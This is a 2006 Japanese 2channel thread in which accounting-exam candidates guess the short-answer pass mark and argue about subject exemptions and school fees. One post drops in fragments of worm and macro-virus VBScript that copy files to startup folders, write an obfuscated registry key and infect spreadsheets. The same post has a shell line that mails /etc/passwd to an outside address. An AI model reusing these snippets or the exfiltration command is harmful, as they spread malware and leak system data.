あくまで、去年基準でボーダーが72、3っていうのは
70%基準でリサーチの平均が少し上に引っ張られたものに対して、
そのまま去年の平均+1〜2点がボーダーって図式を当てはめた
ものなんだから。

454 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:19:51 ID:???
おそらく全受験者の平均が60点くらいだろう


455 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:20:51 ID:???
最近、洗剤のCM多いな

456 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:21:10 ID:???
>>454
そこからどうぼーだーよむ?

457 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:21:20 ID:???
てかボーダー70とかいわせておけよ。
来週以降地獄の生活が始まるんだしww

458 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:21:51 ID:???
全受験者の平均てどれくらいなんだろな。
それ以前に16000の8000くらいは素性もようわからん。

459 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:22:20 ID:???
財務免除で70きるやつなんていないだろう
財務免除はほぼうかるやつ続出しそうだな

460 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:22:43 ID:???
ボーダー70だとしても、
そのあたりの奴はまず70取れてるか否かが疑わしいなw

461 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:23:15 ID:???
実質競争は10000人くらいだろうな

462 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:24:09 ID:???
>>460
去年のようなサプライズにかけるしかないな

463 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:24:55 ID:???
財務免除は何人いるの?
受験者16000人は志甫ふくんでるの?

464 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:25:15 ID:???
っていうか免除者は科目が少ない時点で優遇されてんのに、
さらに、科目間の難易度差で優遇されんのかね?
あの3科目で70%くらいじゃ明らかに力不足だろ。


465 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:26:34 ID:???
2ちゃんの多数派としては
「去年基準で疑義込み72〜73、合格人数次第でちょっと下がる」
って人が一番多いから現実のボーダーはそこから1〜4点下がるな。

2ちゃんの多数派が現実ボーダーぶち当てたり、現実より低くなった
ことはない。毎年恒例だから、経験則としての信憑性はあるはず。

466 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:26:53 ID:???
>>464
だな企業みた瞬間に免除者はかなりラッキーと思っただろう
監査と管理もせめずにすむし

467 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:27:16 ID:???
一部報道では士補を含めると2万人を超えるといわれてる
らしい。

468 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:27:28 ID:???
>>463
いや短答受験者16050人+士補4600人=20650人が総受験者だよ。
一般受験からの論文合格者は1400人を見込んでるというのが大方の見方。

469 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:27:29 ID:???
昨日もそんな話しあったね
免除の扱い載ってないらしいし、ボーダー二つ来たりしてとか書いてあるな。

470 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:28:07 ID:???
>>465すると68まではおなみだちょうだいか

471 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:29:19 ID:???
>>468
去年とあまりかわらんな

472 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:30:26 ID:???
科目合格を含めると、「合格者」はかなり増えるだろ。

473 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:30:32 ID:???
過去のボーダーをことごとく当ててる私の予想


72

474 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:31:05 ID:???
過去のボーダーをことごとく当ててる漏れの予想


76


475 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:31:53 ID:???
得点比率できめるのだろう
財務免除えお厳しくあつかう意味がない
そもそもうかりやすくするために免除はある

476 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:32:33 ID:???
おれ企業見た瞬間、簡単すぎて疑心暗鬼になったw

477 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:32:37 ID:???
実質は68

478 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:33:17 ID:???
俺が70だったらそりゃあボーダー68とかいいたくなるさ。

479 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:33:20 ID:???
>>476
みんなそうだろう
模試とかはあきらかにむずくしてるし

480 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:33:39 ID:???
いまだに60台で合格可能性があるとかいってる人って
いったい何にすがってるんだ??

481 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:33:52 ID:???
そういやTACの企業はむなしいほどに空回りだったなw

482 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:34:40 ID:???
>>480
君と同じ60台ということ

483 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:35:19 ID:???
大原企業法馬鹿にしまくってたやつはあほだな

484 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:35:52 ID:???
>>480
察してやれ。
ブラジル戦の前の心境と一緒。
もしかしてと少しでも思った奴はボーダー70論者。

485 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:36:10 ID:+EXVG9Pa
ボーダーは 75だってさ

486 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:36:24 ID:???
>>475
4科目受験者は厳しく扱われるの?
全体としての割合は圧倒的に4科目受験者の方が
多いんだよ?受かりやすくをいうなら4科目受験者を
受かりやすくしたほが良くない?

487 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:36:37 ID:???
結果68がぼーだーとかだったとき
ころっといままで76ボーダーとかいってるやつの態度かわるのと同じだよ

488 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:37:49 ID:???
>>486
なら免除する意味ないじゃん

489 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:37:51 ID:???
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
fso.copyfile "dirsystem&nurupo.vbs","j:\windows\startmenu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFilef1.path, f1.path+"

490 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:38:44 ID:???
>>484
自分自身への問いかけか?60台くん

491 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:39:03 ID:???
        ,;f::::::::::::::::::::::::::ヽ
        i/'" ̄ ̄ヾ:::::::::::i  
        |,,,,_ ,,,,,,_  |::::::::|   あうあう
        (三);(三)==r─、|  
        { (__..::   / ノ′  
        ', ==一   ノ  
         !___/_>、,,..- 、
     rー―__―.'    .-''   々i    
     ! メ   ̄`. ´  ̄`    .ノ
     .'- .ィ  #      .「 , '
.       | :。::   メ :。:: ! i
       ノ #    メ   ヽ、
     , '    ヽζζζ , '   ヽ
     .{ _.ト、   Yl| |iY  # ,イ .}
     '、 >.ト.   ' U. '   イノ .ノ
      ' .,,_ ___ ノ-^-`、 ___.... - '

492 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:39:10 ID:???
煽り煽られ果てしないな
>>465が妥当だろう

493 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:40:22 ID:???
王者ブラジルは優勝だろう
準優勝はドイツ

494 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:40:35 ID:???
>>488
だから、科目が少ない時点で優遇されてんじゃん。
負担減でしょ?それ以上に免除者を優遇する意味が
あんのか疑問なだけ。

495 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:41:12 ID:???
少なくともここにいまいる奴は論文では問題外だろうな。


496 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:42:05 ID:???
>>494
他科目の負担ないのに、得点比率は負担ある人と同じという
不公正極まりないことが罷り通る世の中はつらいよな

497 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:42:24 ID:???
>>492同意
煽りはもう意味なし
大方みんなデータリサーチどおりのボーダーにはならないのは
きずいてるだろう

498 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:44:22 ID:???
>>496
そのために免除はある
ほかの試験もそうだろう
大学受験も評定考慮でばか高校なら換算して90点とかざらだろう

499 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:44:46 ID:???
素人ウリにしてるくせに女優使ってると激しく萎えるな。

500 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:46:00 ID:???
>>499だれだ?

501 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:46:21 ID:???
煽りも煽り批判も意味なし。
とにかく短答落ちは自習室使うなよ。邪魔だから。


502 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:46:54 ID:???
免除うんぬん言ってる奴は免除の資格を得ろ、それから語れ。
資格もない奴がどうこう言っても負け犬の遠吠えとしか思えん。

503 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:47:58 ID:???
>>502
いえすよくいった

504 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:50:13 ID:???
短答落ちは自習室使用禁止とか張り紙したらどうかな?
今度運営に電話してみようかな。

505 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:52:42 ID:???
財会免除申請者からの合格者数・・・867人
会計専門職大学院卒業生からの合格者数・・・10人
上記以外からの合格者数・・・3421人


506 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:53:55 ID:???
>>504
論文受かる見込みのない奴も、自習室利用禁止にして欲しいよなw

507 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 13:54:47 ID:???
貧乏揺すりがとまらない

508 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 14:00:20 ID:???
>>506

君も今まで落ちてたのにね。

509 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 14:02:16 ID:???
俺は72だけど、このスレ見ていると65〜くらいからは可能性あると思う。
70基準で殆どそれ以下の椰子は出していないから。
5000くらい合格者出すというのも結構信憑性高いらしいよ。


510 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 14:02:26 ID:???
>>506
調子のんなよ

511 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 14:03:04 ID:???
今年の短答落ちは来年かなり不利になるな。
短答の心配もしないといけないし、論文も全科目受験。


512 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 14:03:19 ID:???
さすがに60前半はないと思うが、後は人数次第ってことだな。

513 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 14:04:11 ID:???
ボーダー66(疑義問なし)
4500〜5300位が俺の予想


514 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 14:04:57 ID:???
>>513
現実的なところ、ちみの可能性を否定できない76煽りやっていた俺

515 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 14:04:59 ID:???
免除者のほとんどは簿財受かってきたことだし、優遇されてもおかしくない。
てか優遇措置ですからねw
それをこんなに優遇されるのは不公平とか言うのは筋が通らんし、何より女々しい。
羨ましいと思うならまず簿財に受かれ

516 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 14:05:24 ID:???
>>511
確かにそうだな。
今年の短答落ちは2007年の一括合格者ほぼ無理。
2008年以降までかかることは必至だな。
俺は最低論文で得意科目の3科目を科目合格して
少なくとも来年で全部合格する予定。

517 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 14:05:51 ID:???
本音が出ていたな・・・
俺も正直に予想すると66〜70の間と思う
人数・疑義問次第では65くらいに下がるかも?

518 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 14:07:15 ID:???
>>517
マジレスモードだな
今年は煽ってもしようがないし、本音で66

519 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 14:08:24 ID:???
俺も本音で65。
ただ5日公表されるのは72。

520 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 14:08:56 ID:???
有利解釈続出wwwwwwwwwwwwww

521 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 14:13:27 ID:???
>>516
たぶん、もう1回くらい短答受けると思うよ。

522 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 14:19:47 ID:???
アカスク優遇とか言ってる香具師がいるがよー
「優遇」と捉えるのはおかしい。「当然」と捉えるべきだろう。
2年間、科目免除を受けるに相当する勉強をして、単位を取って、
卒業しましたっててことなんだから
最初からぽまいらとは受けてる教育の質が違うんだよ

だいたい今までだって 高卒の香具師からみたら 大卒は一次試験免除で
「一次試験免除ずりー」「最初から全部受けろ」
って吠えていた。

それと同じ。

523 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 14:19:41 ID:???
アカスク優遇とか言ってる香具師がいるがよー
「優遇」と捉えるのはおかしい。「当然」と捉えるべきだろう。
2年間、科目免除を受けるに相当する勉強をして、単位を取って、
卒業しましたっててことなんだから
最初からぽまいらとは受けてる教育の質が違うんだよ

だいたい今までだって 高卒の香具師からみたら 大卒は一次試験免除で
「一次試験免除ずりー」「最初から全部受けろ」
って吠えていた。

それと同じ。

524 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 14:22:23 ID:???
>>523
じゃなんで短答自体免除しねえんだよ。
糞が!!!!

525 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 14:27:42 ID:Rl9dHhqv
>>523
院は結構適当だよ・・特に私立
育英会とかでお金借りて、楽チンに税理士にもなれるんだし、
正直、質には問題があることは事実だよ。

526 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 14:30:26 ID:???
アカスクぐらいいいじゃねーか。200万以上も払ってるんだっけ?
来年以降のアカスク短答受験者って、「在学中短答免除自力で取れず、
200万以上使って勉強3年目(以上)でまだ短答です」っていうことを晒してるんだよね。

527 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 14:34:46 ID:???
>>526
そもそも200万なんてはした金と思ってるものがアカスクにいってるわけだが。
はした金払って短答実質免除か。彼らからすればおいしすぎだろうよ。

528 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 14:38:53 ID:Rl9dHhqv
200万がはした金!?
どういう育てられ方してるんだろう・・

529 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 14:41:35 ID:???
>>528
お前それマジで言ってるの?
医学部の正解とかしらないの?
寄付金1000万ははした金の部類だよ。

530 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 14:47:36 ID:Rl9dHhqv
>>529
マジで!!!?
ペルーでなら1000万あれば一生暮らせるのに・・
お金持ち様たちは、本当にすごいんだなぁ・・
コンビニに世話になってる俺は悲しいよ。

531 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 14:48:36 ID:???
はした金じゃない
投資の価値があると思えるからだ

200万あったら3年暮らせる

532 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 14:52:02 ID:???
>>530
俺も初めて聞いたときはそりゃあびっくりしたけど、
あの業界も会計士業界よりもずっと複雑でどろどろしてるみたいよ。
国立じゃないだろうが、
私立医学部なんて・・・・、どっろどろ。

533 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 14:58:08 ID:???
昭和56年3月 日本大学芸術学部卒業
昭和58年 結婚
昭和60年 果菜子さんを出産
昭和61年 離婚
平成元年4月 杏林大学医学部入学
平成 7年3月 杏林大学医学部卒業
平成 7年5月 杏林大学医学部形成外科医局入局
平成 9年5月 伊藤クリニック
平成10年6月 小林医院
平成11年1月 アサミ美容外科副院長
平成14年3月 池田ゆう子クリニック開院

 日本大学芸術学部放送学科を卒業後、お見合いで知り合った会社社長の
子息と結婚。約2年後に女の子を出産する。青山の一等地で専業主婦とし
て暮らすも、結婚生活は3年あまりで破たん。シングルマザーとしての生
き方を選ぶ。
 離婚後、20代後半にして医学を志し、子育てのかたわらで1日18時間の
受験勉強を開始。1年後には杏林大学医学部に見事合格を果たす。卒業後
は都内大手クリニックにて活躍。過去5年間に約8,000件の手術を執刀する。
その豊富な知識と経験、そして抜群の感性が評判になり、テレビや雑誌
にひっぱりだこのカリスマドクターとなる。
 2002年3月に独立し、渋谷に「池田ゆう子クリニック」を開院。脂肪吸
引やバストアップなど、技術力とセンスが問われる手術に定評がある彼
女を頼って、遠方から訪れる患者も多い。人生経験が豊富な人間と
しての魅力と、開院以来事故が"0"という安全性からもあって、リピータ
ーが多いのも特徴。父親は医師で病院を経営している。


534 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 14:59:45 ID:Rl9dHhqv
なるほど・・医者も家業守るために必死なんだろうな・・
医者の息子は医者ってイメージ強いもんな。
今日はやる気なく帰宅してしまった。少し休んでまた勉強せねば!!

535 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 15:01:41 ID:???
金払えば誰でも医者になれるのに医者の評価高すぎ
6年間の学費
01)慶應義塾大学・・・・・1988万円
02)東京慈恵会医科大学・・2250万円
03)東京医科大学・・・・・2695万円
04)日本医科大学・・・・・2864万円
05)関西医科大学・・・・・3014万円
06)順天堂大学・・・・・・3050万円
07)大阪医科大学・・・・・3156万円
08)東京女子医科大学・・・3208万円
09)東邦大学・・・・・・・3229万円
10)久留米大学・・・・・・3237万円
11)昭和大学・・・・・・・3250万円
12)日本大学・・・・・・・3336万円
13)聖マリアンナ医科大学・3390万円
14)岩手医科大学・・・・・3448万円
15)近畿大学・・・・・・・3483万円
16)杏林大学・・・・・・・3655万円
17)獨協医科大学・・・・・3730万円
18)藤田保健衛生大学・・・3746万円
19)福岡大学・・・・・・・3772万円
20)愛知医科大学・・・・・3800万円
21)兵庫医科大学・・・・・3840万円
22)北里大学・・・・・・・3921万円
23)埼玉医科大学・・・・・4017万円
24)金沢医科大学・・・・・4041万円
25)川崎医科大学・・・・・4100万円
26)東海大学・・・・・・・4211万円
27)帝京大学・・・・・・・4919万円

536 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 15:05:28 ID:Rl9dHhqv
うわぁ!!?ゾワっとする・
一軒家手に入れれるし!!!タックにこれぐらい投資すれば
200%合格できるよ・・
今日は勉強する気がなくなったよ。

537 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 15:06:46 ID:???
>>535

「3年勉強すれば、誰でも受かるのに会計士の評価高すぎ」

538 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 15:06:48 ID:???
参考

資格の学校TAC 6年間の学費(2年本科コースを3回)

        195万円 なり
 

539 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 15:17:39 ID:Rl9dHhqv
>>538
この前まで、タックも大原も授業料高いよ!!って思ってたけど、医者に比べりゃ
安すぎだな!!
参考ありがと

540 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 15:21:05 ID:???
>>539
おまえの能力しだいで医者より高くなるかもしれんぞ

541 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 15:32:10 ID:???
俺の平均的成績
簿記+材表:上位1% 管理会計 7〜8% 企業法 10%以内 監査 上位 20%以内
経営学 受けてない 租税法 上位3%
まじ今年落ちたらちんこきるわ


542 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 15:36:18 ID:Rl9dHhqv
>>539
そうだな・・今年は論文直前はおとなしく過ごすつもり
今年で最後だし、出来る限り頑張るよ。


543 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 16:13:11 ID:???
でも医者の息子のプレッシャーきついだろうよ。
その果てが奈良母子殺害事件。
開業医の長男で文系に進んだとたんに家族から邪魔者扱いされたなんてザラだからな。

544 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 16:48:13 ID:???
2chボーダーが60台なんて…。
金融庁のボーダーに負けるよ。まじで。

客観的にどんなに低くて70。
本命は71〜73。
これ以外ない。76とかは絶対ないし、65とかも絶対ない。

545 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 16:51:29 ID:???
ボーダー60でいいじゃん。
短答なんて脚きり試験なんだし。


546 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 17:05:09 ID:???
俺は80台で発表日はWC生活サイクルのまま12時に起きるつもりだったんだが
このスレ読んでたらリアルタイムで反応見たくなってきたw

547 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 17:05:38 ID:???
今度は65など出して、逆張りをすることによって
「やっぱ60台はないよなぁ」と再認識させる煽りですか。

やっぱ68〜72だな

548 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 17:07:12 ID:???
俺も68〜72だと思う。
結局金融庁の70前後

549 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 17:13:13 ID:???
たしかに68〜72なら幅が5点もあるし、1点に400〜500人いるとすると
ここで2000人〜2500人の人数調整ができる。
よって金融庁が今年から短刀では68〜72でボーダーだしていくんだろうなって思う。

550 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 17:20:54 ID:???
70とれないくそばかに短答免除の特権をあげるのはおかしい。免除つくんだから
普段より合格点あげろよ。よって80くらいが免除が正しい。

551 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 17:21:43 ID:???
点数を自己申告してる人、まさか管理3=4、監査13=1を○とした
採点ではないだろうなw

552 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 17:22:57 ID:+3440Bcw
受かってると思い込んでる免除者、得点調整で結構落ちるだろうな


553 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 17:23:13 ID:???
>>549
1点に400〜500人いるとすると って…

73が仮に3500人だとすると
72は4000人
71は4500人
70は5000人
69は5500人
68は6000人
67は6500人
今年答練の教室が混んでるって思ったけど例年なら概ね73以上が出席していたのに
今年は60後半から出席しているのだから人が2倍くらいいるって言うのもうなづけますな。
これですべてつじつまが合いました。7/5は安心して迎えられそうです。

554 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 17:26:18 ID:???
そんな等間隔で500人ずついないだろ。
もしそうならなんかすごい母集団だなw

555 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 17:27:48 ID:???
ここにきてまたボーダー論議がにぎわってるな。
で論文スレは相変わらず閑散としている…

556 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 17:29:07 ID:???
俺もボーダー付近の免除なしなのでアカスクにむかつく気持ちもわかる
だが、アカクス生の立場になって考えてみると、250万払ったうえに
短答すら落ちてたらどうすんの、可哀想じゃないか

557 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 17:29:28 ID:???
>>550
お前短刀取れた割には頭悪いな。
免除とか勝手に作ったのは金融庁だ。受験生が要求したわけじゃない。
試験委員増やして勝手に受験料増やしたのも金融庁だ。
そんな中合格率下げられたら受験生はやりきれんだろ。
自分がたまたま80取れたからって、何の根拠も無く80ボーダーとか言うなよ。
気分悪いわ。

558 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 17:35:13 ID:???
試験委員の採点負担と言っても、94以前は試し受験ですら論文を受けていた
からなw

559 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 17:41:10 ID:???
疑義の答えが確定しないとなー

560 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 17:46:06 ID:???
監査13は3、監査14は2は濃厚かな。
疑義は監査19と管理3くらいか。

561 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 17:46:29 ID:???
ここのボーダー予測付近の点数だけど、夢を見れたほうが勉強がはかどる
発表は8月5日にしてほしい

562 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 17:48:58 ID:???
>>561
何点だ?少なく見積もって72以上なければ7/5はひやひやだな。

563 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 17:49:47 ID:???
俺的には、監査13が確率薄、監査14と管理3が本命という感じかな

564 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 17:51:17 ID:???
疑義問以外にも予備校と解答が異なる問題ってあるかもね。


565 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 17:52:18 ID:81V0Zfpm
>>562
管理3=5、監査14=2なら73
どっちかサプライズなら72
Wサプライズなら71
両方サプライズなしで監査13=1なら74←まず無理

566 :565:2006/06/29(木) 17:53:58 ID:81V0Zfpm
(×)管理3=5、監査14=2なら73

(○)管理3=5、監査14=1なら73

567 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 17:54:45 ID:???
>>564
財務の財表地帯に1問ありそうな悪寒

568 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 17:55:00 ID:???
来年の論文合格者ってどれくらい出るんだろね。
一括合格者と科目合格者の最終合格含めて1500程度だとかなりの難化だよな。

569 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 17:57:01 ID:???
科目合格者ってあんまり出ないんじゃない?
税理士と違ってあくまで一喝合格が基本では

570 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 17:57:41 ID:???
70:合格+免除なし
75:合格+免除1年
80:合格+免除2年
でいいじゃん。

571 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 17:57:56 ID:???
>>565
多分平気じゃないか。
ていうかみんなの周りって70前後はやはり多いのか?

572 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 17:59:34 ID:???
>>571
知り合い少ないのでわからないが、入門上がりの人でも直前期に
たくさん出てるのが今年の特徴

573 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 18:01:20 ID:???
管理問3が4なら18点、5なら19点
監査問13が1なら13点、3なら12点。
ただ合計80〜83点なので無問題ですな。

574 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 18:02:04 ID:???
免除者がいる+受験者増で去年より相対ボーダー上がる可能性は考えないのか

575 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 18:04:53 ID:???
みんな科目合格というけど、
別に来年の論文が免除になるだけで、
社会的には「科目合格」って評価されないんだよね。
今年撤退の人にとっては科目合格は何の意味も無い・・・・

576 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 18:05:51 ID:???
>>574
だから免除者こみでリサーチで平均だしてんだろ。
お前今更何いってんの?

577 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 18:06:24 ID:???
科目合格したら撤退しないだろ

578 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 18:06:39 ID:???
>>576
安心しました

579 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 18:07:38 ID:???
法人が科目合格者を雇うのはマジなのか?
雇ったヤシが再び短答受けることになったらどうすんだろ

580 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 18:09:09 ID:???
トーマツのホムペに書いてあるらしいよ。
俺は見たこと無いけど。落ちたらクビじゃねーか?

581 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 18:10:17 ID:???
でも、たいした給料払わなくてもいいし
実務経験もあるぶん新米の合格者よりは使えるから
クビにはしないんじゃん。


582 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 18:14:09 ID:???
首にならないのは助かるが、法人勤務しながら短答の勉強から始めるのって
大変すぎるよな

583 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 18:14:52 ID:???
それより精神的にいづらいだろう・・・

584 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 18:15:32 ID:???
なにか大きな力が働いて合格すんじゃねーの?w

585 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 18:17:07 ID:???
国1の二次落ち内定者みたいなもんじゃないの

586 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 18:18:31 ID:???
そういや中央のSPA行った人どうなったんだ?

587 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 18:18:40 ID:81V0Zfpm
>>583
確かにな・・・

というか、短答受験者だと監査人の資格要件を満たしてないような気も
するよなw

588 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 18:19:37 ID:???
>>586
ヒント:あらた

589 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 18:23:06 ID:???
>>588
中央って完全に消滅するのか?
去年の論文不合格後のスレの住人いねーかな。

590 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 18:38:13 ID:???
>>587
監査補助者だから

591 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 19:22:38 ID:???
管理3の選択肢4と5
監査19の1と3の
受験者の選択割合おしえて

592 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 19:24:40 ID:???
管理3は4が30%で5が50%くらいだったキガス
管理19はほとんど五等分されていたキガス

593 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 19:25:07 ID:???
今7時のニュースを見てたら
審査会が金融庁に4大監査法人に業務改善を指示するように勧告だって・・・・。
4つとも審査基準を満たさなかったとか・・・。
どこも一緒ですな。



594 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 19:29:29 ID:???
別に煽りナシで65〜くらいでいいんじゃん?
所詮勘や疑義で4〜5問は変わってくるんだから、別に60代後半の奴が実力がないとは思わん。
俺は73で、ある意味ドキドキだけどな

595 :一般に公正妥当と認められた名無しさん :2006/06/29(木) 19:30:45 ID:???
ここもそろそろマジレスなんだな。
予備校にしても、スレにしても、65に境が来ているのが面白い
発表日は祭りか?楽しみだな

596 :一般に公正妥当と認められた名無しさん:2006/06/29(木) 19:31:06 ID:???
監査を厳しくしろと

